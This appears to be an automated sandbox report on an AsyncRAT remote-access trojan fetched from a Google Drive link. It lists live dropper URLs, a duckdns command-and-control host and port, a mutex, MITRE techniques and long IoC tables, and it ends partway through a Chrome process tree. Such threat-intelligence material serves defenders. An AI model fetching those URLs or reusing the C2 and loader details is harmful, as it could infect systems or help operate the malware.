asyncrat | hxxps://drive[.]usercontent[.]google[.]com/download?id=1RAVDxy-Rt9Mxfl4Nn6H5Cgo-qpzKb-jR&export=download

Analysis

max time kernel
365s
max time network
369s
platform
windows10-2004_x64
resource
win10v2004-20241007-es
resource tags

arch:x64arch:x86image:win10v2004-20241007-eslocale:es-esos:windows10-2004-x64systemwindows
submitted
09/12/2024, 23:30

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

https://drive.usercontent.google.com/download?id=1RAVDxy-Rt9Mxfl4Nn6H5Cgo-qpzKb-jR&export=download

Score

10^/10

asyncrat *** hola 9 diciembre **defense_evasion discovery execution rat

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://desckvbrat.com.br/Upcrypter/01/DLL01.txt

exe.dropper

https://drive.google.com/uc?export=download&id=

exe.dropper

https://desckvbrat.com.br/Upcrypter/01/DLL01.txt

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://desckvbrat.com.br/Upcrypter/01/DLL01.txt

exe.dropper

https://drive.google.com/uc?export=download&id=

exe.dropper

https://desckvbrat.com.br/Upcrypter/01/DLL01.txt

Extracted

Family

asyncrat

Version

| CRACKED BY https://t.me/xworm_v2

Botnet

*** HOLA 9 DICIEMBRE **

holadic06.duckdns.org:9003

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Blocklisted process makes network request 36 IoCs

flow	pid	Process
63	1312	WScript.exe
66	404	powershell.exe
67	404	powershell.exe
69	1704	powershell.exe
70	1704	powershell.exe
71	3008	WScript.exe
73	3888	powershell.exe
75	3048	powershell.exe
76	3048	powershell.exe
77	1332	powershell.exe
80	1332	powershell.exe
82	4636	powershell.exe
85	3024	WScript.exe
86	3808	powershell.exe
87	3808	powershell.exe
88	3576	powershell.exe
89	3576	powershell.exe
90	1228	CScript.exe
91	1176	powershell.exe
92	2556	powershell.exe
93	2556	powershell.exe
94	4652	powershell.exe
95	4652	powershell.exe
97	1776	powershell.exe
118	2924	WScript.exe
119	5144	powershell.exe
120	2812	WScript.exe
121	5144	powershell.exe
122	2828	powershell.exe
123	6108	powershell.exe
124	2828	powershell.exe
125	6108	powershell.exe
126	6176	powershell.exe
127	6300	powershell.exe
128	6176	powershell.exe
129	1524	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 36 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1776	powershell.exe
1704	powershell.exe
3888	powershell.exe
1332	powershell.exe
4636	powershell.exe
3576	powershell.exe
1176	powershell.exe
4652	powershell.exe
6176	powershell.exe
6300	powershell.exe
2828	powershell.exe
1524	powershell.exe
1236	powershell.exe
3044	powershell.exe
6688	powershell.exe
6676	powershell.exe
1756	powershell.exe
3784	powershell.exe
4764	powershell.exe
1756	powershell.exe
4284	powershell.exe
3432	powershell.exe
3376	powershell.exe
320	powershell.exe
5008	powershell.exe
3808	powershell.exe
4860	powershell.exe
5144	powershell.exe
2556	powershell.exe
2512	powershell.exe
4736	powershell.exe
6108	powershell.exe
4504	powershell.exe
404	powershell.exe
3048	powershell.exe
2704	powershell.exe

Checks computer location settings 2 TTPs 6 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	CScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops desktop.ini file(s) 1 IoCs

description	ioc	Process
File opened for modification	\??\c:\users\admin\desktop\desktop.ini	MSBuild.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Legitimate hosting services abused for malware hosting/C2 1 TTPs 7 IoCs

Web Service

T1102

flow	ioc
129	pastebin.com
72	pastebin.com
73	pastebin.com
82	pastebin.com
91	pastebin.com
97	pastebin.com
127	pastebin.com

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 3888 set thread context of 4520	3888	powershell.exe	115
PID 4636 set thread context of 2964	4636	powershell.exe	124
PID 1176 set thread context of 2504	1176	powershell.exe	141
PID 1776 set thread context of 1460	1776	powershell.exe	148
PID 6300 set thread context of 7032	6300	powershell.exe	191
PID 1524 set thread context of 5956	1524	powershell.exe	194

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\INF\display.PNF	chrome.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 24 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	shutdown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AcroRd32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	diskpart.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AcroRd32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	AcroRd32.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	AcroRd32.exe

Modifies data under HKEY_USERS 17 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133782606873873975"	chrome.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "157"	LogonUI.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings	MSBuild.exe

Script User-Agent 6 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	63	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	71	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	85	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	90	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	118	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	120	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
976	chrome.exe
976	chrome.exe
1184	chrome.exe
1184	chrome.exe
1184	chrome.exe
1184	chrome.exe
4504	powershell.exe
4504	powershell.exe
404	powershell.exe
404	powershell.exe
404	powershell.exe
1704	powershell.exe
1704	powershell.exe
1704	powershell.exe
3376	powershell.exe
3376	powershell.exe
3432	powershell.exe
3432	powershell.exe
3376	powershell.exe
3432	powershell.exe
1704	powershell.exe
3888	powershell.exe
3888	powershell.exe
5008	powershell.exe
5008	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
1332	powershell.exe
1332	powershell.exe
1332	powershell.exe
1756	powershell.exe
1756	powershell.exe
1332	powershell.exe
320	powershell.exe
320	powershell.exe
1756	powershell.exe
320	powershell.exe
4636	powershell.exe
4636	powershell.exe
2704	powershell.exe
2704	powershell.exe
3808	powershell.exe
3808	powershell.exe
3808	powershell.exe
3808	powershell.exe
3576	powershell.exe
3576	powershell.exe
3576	powershell.exe
1756	powershell.exe
1756	powershell.exe
4284	powershell.exe
4284	powershell.exe
1756	powershell.exe
4284	powershell.exe
3576	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
1176	powershell.exe
1176	powershell.exe
2556	powershell.exe
2556	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
976	chrome.exe
976	chrome.exe
2160	msedge.exe
2160	msedge.exe
2160	msedge.exe
2160	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	976	chrome.exe
Token: SeCreatePagefilePrivilege	976	chrome.exe
Token: SeShutdownPrivilege	976	chrome.exe
Token: SeCreatePagefilePrivilege	976	chrome.exe
Token: SeShutdownPrivilege	976	chrome.exe
Token: SeCreatePagefilePrivilege	976	chrome.exe
Token: SeShutdownPrivilege	976	chrome.exe
Token: SeCreatePagefilePrivilege	976	chrome.exe
Token: SeShutdownPrivilege	976	chrome.exe
Token: SeCreatePagefilePrivilege	976	chrome.exe
Token: SeShutdownPrivilege	976	chrome.exe
Token: SeCreatePagefilePrivilege	976	chrome.exe
Token: SeShutdownPrivilege	976	chrome.exe
Token: SeCreatePagefilePrivilege	976	chrome.exe
Token: SeShutdownPrivilege	976	chrome.exe
Token: SeCreatePagefilePrivilege	976	chrome.exe
Token: SeShutdownPrivilege	976	chrome.exe
Token: SeCreatePagefilePrivilege	976	chrome.exe
Token: SeShutdownPrivilege	976	chrome.exe
Token: SeCreatePagefilePrivilege	976	chrome.exe
Token: SeShutdownPrivilege	976	chrome.exe
Token: SeCreatePagefilePrivilege	976	chrome.exe
Token: SeShutdownPrivilege	976	chrome.exe
Token: SeCreatePagefilePrivilege	976	chrome.exe
Token: SeShutdownPrivilege	976	chrome.exe
Token: SeCreatePagefilePrivilege	976	chrome.exe
Token: SeShutdownPrivilege	976	chrome.exe
Token: SeCreatePagefilePrivilege	976	chrome.exe
Token: SeShutdownPrivilege	976	chrome.exe
Token: SeCreatePagefilePrivilege	976	chrome.exe
Token: SeShutdownPrivilege	976	chrome.exe
Token: SeCreatePagefilePrivilege	976	chrome.exe
Token: SeShutdownPrivilege	976	chrome.exe
Token: SeCreatePagefilePrivilege	976	chrome.exe
Token: SeShutdownPrivilege	976	chrome.exe
Token: SeCreatePagefilePrivilege	976	chrome.exe
Token: SeShutdownPrivilege	976	chrome.exe
Token: SeCreatePagefilePrivilege	976	chrome.exe
Token: SeShutdownPrivilege	976	chrome.exe
Token: SeCreatePagefilePrivilege	976	chrome.exe
Token: SeShutdownPrivilege	976	chrome.exe
Token: SeCreatePagefilePrivilege	976	chrome.exe
Token: SeShutdownPrivilege	976	chrome.exe
Token: SeCreatePagefilePrivilege	976	chrome.exe
Token: SeShutdownPrivilege	976	chrome.exe
Token: SeCreatePagefilePrivilege	976	chrome.exe
Token: SeShutdownPrivilege	976	chrome.exe
Token: SeCreatePagefilePrivilege	976	chrome.exe
Token: SeShutdownPrivilege	976	chrome.exe
Token: SeCreatePagefilePrivilege	976	chrome.exe
Token: SeShutdownPrivilege	976	chrome.exe
Token: SeCreatePagefilePrivilege	976	chrome.exe
Token: SeShutdownPrivilege	976	chrome.exe
Token: SeCreatePagefilePrivilege	976	chrome.exe
Token: SeShutdownPrivilege	976	chrome.exe
Token: SeCreatePagefilePrivilege	976	chrome.exe
Token: SeShutdownPrivilege	976	chrome.exe
Token: SeCreatePagefilePrivilege	976	chrome.exe
Token: SeShutdownPrivilege	976	chrome.exe
Token: SeCreatePagefilePrivilege	976	chrome.exe
Token: SeShutdownPrivilege	976	chrome.exe
Token: SeCreatePagefilePrivilege	976	chrome.exe
Token: SeShutdownPrivilege	976	chrome.exe
Token: SeCreatePagefilePrivilege	976	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
3784	AcroRd32.exe
2160	msedge.exe
2160	msedge.exe
2160	msedge.exe
2160	msedge.exe
2160	msedge.exe
2160	msedge.exe
2160	msedge.exe
2160	msedge.exe
2160	msedge.exe
2160	msedge.exe
2160	msedge.exe
2160	msedge.exe
2160	msedge.exe

Suspicious use of SendNotifyMessage 48 IoCs

pid	Process
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
976	chrome.exe
2160	msedge.exe
2160	msedge.exe
2160	msedge.exe
2160	msedge.exe
2160	msedge.exe
2160	msedge.exe
2160	msedge.exe
2160	msedge.exe
2160	msedge.exe
2160	msedge.exe
2160	msedge.exe
2160	msedge.exe
2160	msedge.exe
2160	msedge.exe
2160	msedge.exe
2160	msedge.exe
2160	msedge.exe
2160	msedge.exe
2160	msedge.exe
2160	msedge.exe
2160	msedge.exe
2160	msedge.exe
2160	msedge.exe
2160	msedge.exe

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
3784	AcroRd32.exe
3784	AcroRd32.exe
3784	AcroRd32.exe
3784	AcroRd32.exe
3784	AcroRd32.exe
3784	AcroRd32.exe
3784	AcroRd32.exe
9492	LogonUI.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 976 wrote to memory of 1160	976	chrome.exe	82
PID 976 wrote to memory of 1160	976	chrome.exe	82
PID 976 wrote to memory of 4420	976	chrome.exe	83
PID 976 wrote to memory of 4420	976	chrome.exe	83
PID 976 wrote to memory of 4420	976	chrome.exe	83
PID 976 wrote to memory of 4420	976	chrome.exe	83
PID 976 wrote to memory of 4420	976	chrome.exe	83
PID 976 wrote to memory of 4420	976	chrome.exe	83
PID 976 wrote to memory of 4420	976	chrome.exe	83
PID 976 wrote to memory of 4420	976	chrome.exe	83
PID 976 wrote to memory of 4420	976	chrome.exe	83
PID 976 wrote to memory of 4420	976	chrome.exe	83
PID 976 wrote to memory of 4420	976	chrome.exe	83
PID 976 wrote to memory of 4420	976	chrome.exe	83
PID 976 wrote to memory of 4420	976	chrome.exe	83
PID 976 wrote to memory of 4420	976	chrome.exe	83
PID 976 wrote to memory of 4420	976	chrome.exe	83
PID 976 wrote to memory of 4420	976	chrome.exe	83
PID 976 wrote to memory of 4420	976	chrome.exe	83
PID 976 wrote to memory of 4420	976	chrome.exe	83
PID 976 wrote to memory of 4420	976	chrome.exe	83
PID 976 wrote to memory of 4420	976	chrome.exe	83
PID 976 wrote to memory of 4420	976	chrome.exe	83
PID 976 wrote to memory of 4420	976	chrome.exe	83
PID 976 wrote to memory of 4420	976	chrome.exe	83
PID 976 wrote to memory of 4420	976	chrome.exe	83
PID 976 wrote to memory of 4420	976	chrome.exe	83
PID 976 wrote to memory of 4420	976	chrome.exe	83
PID 976 wrote to memory of 4420	976	chrome.exe	83
PID 976 wrote to memory of 4420	976	chrome.exe	83
PID 976 wrote to memory of 4420	976	chrome.exe	83
PID 976 wrote to memory of 4420	976	chrome.exe	83
PID 976 wrote to memory of 4536	976	chrome.exe	84
PID 976 wrote to memory of 4536	976	chrome.exe	84
PID 976 wrote to memory of 2440	976	chrome.exe	85
PID 976 wrote to memory of 2440	976	chrome.exe	85
PID 976 wrote to memory of 2440	976	chrome.exe	85
PID 976 wrote to memory of 2440	976	chrome.exe	85
PID 976 wrote to memory of 2440	976	chrome.exe	85
PID 976 wrote to memory of 2440	976	chrome.exe	85
PID 976 wrote to memory of 2440	976	chrome.exe	85
PID 976 wrote to memory of 2440	976	chrome.exe	85
PID 976 wrote to memory of 2440	976	chrome.exe	85
PID 976 wrote to memory of 2440	976	chrome.exe	85
PID 976 wrote to memory of 2440	976	chrome.exe	85
PID 976 wrote to memory of 2440	976	chrome.exe	85
PID 976 wrote to memory of 2440	976	chrome.exe	85
PID 976 wrote to memory of 2440	976	chrome.exe	85
PID 976 wrote to memory of 2440	976	chrome.exe	85
PID 976 wrote to memory of 2440	976	chrome.exe	85
PID 976 wrote to memory of 2440	976	chrome.exe	85
PID 976 wrote to memory of 2440	976	chrome.exe	85
PID 976 wrote to memory of 2440	976	chrome.exe	85
PID 976 wrote to memory of 2440	976	chrome.exe	85
PID 976 wrote to memory of 2440	976	chrome.exe	85
PID 976 wrote to memory of 2440	976	chrome.exe	85
PID 976 wrote to memory of 2440	976	chrome.exe	85
PID 976 wrote to memory of 2440	976	chrome.exe	85
PID 976 wrote to memory of 2440	976	chrome.exe	85
PID 976 wrote to memory of 2440	976	chrome.exe	85
PID 976 wrote to memory of 2440	976	chrome.exe	85
PID 976 wrote to memory of 2440	976	chrome.exe	85
PID 976 wrote to memory of 2440	976	chrome.exe	85
PID 976 wrote to memory of 2440	976	chrome.exe	85

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://drive.usercontent.google.com/download?id=1RAVDxy-Rt9Mxfl4Nn6H5Cgo-qpzKb-jR&export=download
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:976
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7fff9279cc40,0x7fff9279cc4c,0x7fff9279cc58
  2⤵
  PID:1160
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1848,i,16628233476281343774,224999568621417952,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1840 /prefetch:2
  2⤵
  PID:4420
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1712,i,16628233476281343774,224999568621417952,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2160 /prefetch:3
  2⤵
  PID:4536
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2216,i,16628233476281343774,224999568621417952,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2428 /prefetch:8
  2⤵
  PID:2440
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3124,i,16628233476281343774,224999568621417952,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3140 /prefetch:1
  2⤵
  PID:4268
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3116,i,16628233476281343774,224999568621417952,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3184 /prefetch:1
  2⤵
  PID:4808
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4632,i,16628233476281343774,224999568621417952,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4640 /prefetch:8
  2⤵
  PID:2288
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=5036,i,16628233476281343774,224999568621417952,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5028 /prefetch:8
  2⤵
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1184
- C:\Program Files\Google\Chrome\Application\chrome.exe
